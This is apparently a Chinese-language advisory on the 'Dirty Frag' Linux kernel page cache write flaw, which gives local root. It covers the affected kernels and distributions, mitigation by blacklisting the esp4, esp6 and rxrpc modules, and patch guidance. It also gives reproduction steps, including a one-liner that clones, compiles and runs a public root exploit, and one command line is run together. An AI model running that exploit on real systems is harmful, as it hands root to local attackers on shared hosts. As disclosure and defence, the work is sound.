Dirty Frag(CVE-2026-43284 + CVE-2026-43500)是Linux内核networking子系统中的page cache写入类漏洞(Dirty Pipe / Copy Fail同族)。攻击者仅需本地普通用户权限,通过splice()零拷贝机制 + xfrm-ESP(esp4/esp6)和RxRPC模块的in-place decryption处理缺陷,即可将受控数据精准写入任意可读文件的页缓存。
最致命的是,它可以直接覆盖SUID程序(如 /usr/bin/su)在内存中的缓存内容,从而实现稳定、无需竞争条件的本地提权。
该漏洞通过 chaining 两条路径实现“universal”覆盖:
- CVE-2026-43284(xfrm-ESP 路径):影响始于2017年1月的commit(cac2661c53f3),几乎覆盖此后所有主流内核。
- CVE-2026-43500(RxRPC 路径):影响始于2023年6月的commit(2dc334f1a63a),影响范围相对较新。
因此,它几乎影响了2017年以来(内核 4.9+)的所有主流Linux发行版,包括Ubuntu、RHEL、Fedora、AlmaLinux、CentOS Stream、openSUSE等。未修补的系统上,一个极小的C PoC就能可靠地拿到root权限。即使已应用Copy Fail的algif_aead黑名单缓解措施,仍无法阻挡Dirty Frag。在发行版内核更新大规模推送之前,这类漏洞对共享服务器、云主机、多用户环境构成了严重威胁。
复现指南
创建新的低权限用户:
useradd -s /bin/bash -m pseudoecho pseudo:cat@md5 | chpasswd
使用低权限用户登录ssh后,执行:
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
注意:执行exploit后,如果在新窗口尝试使用su或直接登录root时提示密码错误,通常是页缓存污染导致的临时现象。建议使用低权限用户成功执行exp后直接reboot重启系统即可恢复正常,不建议执行exp后修改root密码。
简单分析
Dirty Frag与Copy Fail属于同一类page cache写入漏洞,但整体威胁程度略低于Copy Fail:
- Copy Fail利用更通用的
algif_aead路径,几乎在所有主流发行版上均可直接触发,适用面更广。 - Dirty Frag需要依赖
esp4/esp6或rxrpc模块,部分发行版(如某些Ubuntu配置)因AppArmor等防护可能对单一路径产生额外限制,因此采用chaining两条路径来实现更广泛的覆盖。
修复指南
截至目前,多数主流Linux发行版(包括Ubuntu、Debian、RHEL等稳定分支)的内核安全更新尚未全面推送修复补丁。临时禁用 esp4、esp6、rxrpc模块 是目前最有效、最推荐的缓解措施。
ESP部分(CVE-2026-43284)上游主线已合并修复,但多数发行版的内核更新仍需一段时间才能推送;RxRPC 部分(CVE-2026-43500)修复进度相对滞后。值得注意的是,RxRPC路径在部分发行版(如AlmaLinux 8)中默认不包含对应模块,仅在安装了额外kernel-modules包的系统上受影响。实际利用仍需本地普通用户权限(非远程),且依赖用户命名空间等条件(多数发行版默认允许)。
临时缓解方案:
# 注意:该方案会破坏 IPsec(VPN)和 RxRPC/AFS 相关功能。sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
如果未来想启用的话:
sudo rm -f /etc/modprobe.d/dirtyfrag.conf && sudo modprobe -r esp4 esp6 rxrpc 2>/dev/null; sudo modprobe esp4 esp6 rxrpc
长期修复方案:尽快通过发行版官方通道升级内核到包含修复补丁的版本。